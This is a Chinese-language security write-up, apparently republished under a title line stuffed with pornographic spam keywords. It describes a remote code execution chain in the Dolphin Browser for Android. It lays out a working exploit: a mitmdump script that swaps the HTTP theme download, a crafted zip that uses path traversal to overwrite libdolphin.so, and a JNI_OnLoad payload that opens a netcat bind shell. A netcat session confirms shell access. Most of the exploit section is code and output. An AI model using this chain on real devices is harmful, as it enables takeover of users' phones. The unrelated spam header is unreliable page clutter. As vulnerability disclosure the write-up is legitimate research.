压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

安卓海豚瀏覽器中的遠程代碼執行

概述

攻擊者有能力通過安卓海豚瀏覽器控制用戶的網絡通信數據,可以修改下載和應用瀏覽器新主題的函數。通過利用該函數,攻擊者可以寫入任意文件,這些文件將會在用戶設備中的瀏覽器環境下變成代碼執行。整個攻擊唯一需要用戶做的只是選擇,下載,應用主題。

截止2015年7月27日,谷歌應用商店數據顯示,海豚瀏覽器已經有1億的下載量。

漏洞分析

安卓版本的海豚瀏覽器有一個功能就是允許用戶通過下載,應用主題來對瀏覽器進行個性化。當用戶選擇一個新主題,這個主題會通過HTTP方式進行下載:

GET http://opsen-static.dolphin-browser.com/resources/themestore/Red_roof.dwp

該主題文件將保存到以下位置:

root@hammerhead:/sdcard/Download # ls

Red_roof.dwp

該文件的后綴名“dwp”僅為海豚瀏覽器自己定制的后綴名,事實上這個文件是一個簡單的zip壓縮文件。

$ file Red_roof.dwp

Red_roof.dwp: Zip archive data, at least v2.0 to extract

當我們檢測其中內容時,可以發現其中用來應用目標主題的特殊數據:

unzip -l Red_roof.dwp.orig

Archive:? Red_roof.dwp.orig

Length???? Date?? Time??? Name

——–??? —-?? —-??? —-

18165? 12-18-14 09:57?? icon.jpg

237? 12-19-14 14:35?? theme.config

131384? 12-18-14 09:54?? wallpaper.jpg

——–?????????????????? ——-

149786?????????????????? 3 files

后來通過對我們選擇,下載,應用的主題進行逆向工程處理。發現該功能還可以解壓主題文件并應用主題的其他配置。

漏洞利用

在利用中第一步即要代理下載通信數據并注入修改主題中,這需要我們在測試設備中配置一個代理,然后寫入一個簡單的內聯腳本用來使用mitmdump

def request(context, flow):

if not flow.request.host == “opsen-static.dolphin-browser.com” \

or not flow.request.path.endswith(“.dwp”):

return

# Build response

#

response = http.HTTPResponse([1, 1],

200,

“OK”,

odict.ODictCaseless([[“Content-Type”, “application/zip”]]),

“yo!”)

# Inject theme

#

try:

with open(“Red_roof.dwp”, “r”) as f:

modified = f.read()

response.content = modified

response.headers[“Content-Length”] = [len(modified)]

f.close()

except IOError as e:

raise e

# Return response

#

flow.reply(response)

我們還需要利用瀏覽器主題解壓過程。由于這類案例很多,這里我們就不繼續詳述了。

第一次驗證將修改主題注入到下載響應中,并成功實現對海豚瀏覽器數據目錄寫入任意文件。為了獲得代碼執行權限,接下來我們需要找到一個可以進行覆蓋的文件。

無意間瞄了瞄,發現一個就在文件目錄之中的庫—— libdolphin.so

root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser # cd files/

root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/files # ls

AppEventsLogger.persistedevents

EN

icons_cache

libdolphin.so

name_service

splash.on

這似乎就是上天賜給我們的面包啊,我們可以寫入完整的代碼執行了。由此我制作了一個相應的payload:

unzip -l Red_roof.dwp

Archive:? Red_roof.dwp

Length???? Date?? Time??? Name

——–??? —-?? —-??? —-

18165? 12-18-14 09:57?? icon.jpg

237? 12-19-14 14:35?? theme.config

131384? 12-18-14 09:54?? wallpaper.jpg

7? 08-21-15 20:26?? ../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so

——–?????????????????? ——-

159142?????????????????? 4 files

成功注入這個zip文件之后,從logcat滾動的輸出,我發現了一個gem:

D/dalvikvm( 2573): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e0c318

E/dalvikvm( 2573): dlopen(“/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so”) failed: dlopen failed: “/data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so” is too small to be an ELF executable

….

.

root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/files # cat libdolphin.so

foobar

接著,我們需要創建一個可以用來覆蓋原libdolphin.so的庫:

int JNI_OnLoad( JavaVM* vm, void* reserved )

{

system( “/data/local/tmp/busybox nc -ll -p 6666 -e /system/bin/sh” );

….

..

.

}

使用NDK進行編譯,使用的Python腳本是用來創建一個主題payload然后寫入庫中。

然后完全刪除海豚瀏覽器并重新進行安裝,然后再次進行攻擊。驗證是否成功攔截并注入我們的主題payload

10.174.90.159 GET http://opsen-static.dolphin-browser.com/resources/themestore/Red_roof.dwp

<< 200 OK 150.16kB

我們應用這個主題,為了確定已經成功加載,我們重啟瀏覽器:

D/dalvikvm(24702): Trying to load lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8

D/dalvikvm(24702): Added shared lib /data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 0x42e080a8

現在我們應該可以連接到netcat:

└[~]> nc 10.174.90.159 6666

id

uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0

ls

acct

cache

charger

config

d

data

default.prop

dev

etc

file_contexts

firmware

fstab.hammerhead

init

init.environ.rc

init.hammerhead.rc

init.hammerhead.usb.rc

init.rc

init.trace.rc

init.usb.rc

mnt

persist

proc

property_contexts

res

root

sbin

sdcard

seapp_contexts

sepolicy

storage

sys

system

tmp-mksh

ueventd.hammerhead.rc

ueventd.rc

vendor

建議

對于這個漏洞我已經積極聯系海豚瀏覽器團隊了,建議目前使用該瀏覽器最好不要下載安裝新主題。

上一篇:Burp國產插件LFI scanner checks

下一篇:Firefox PDF Reader漏洞爆發 啟明星辰精確攔截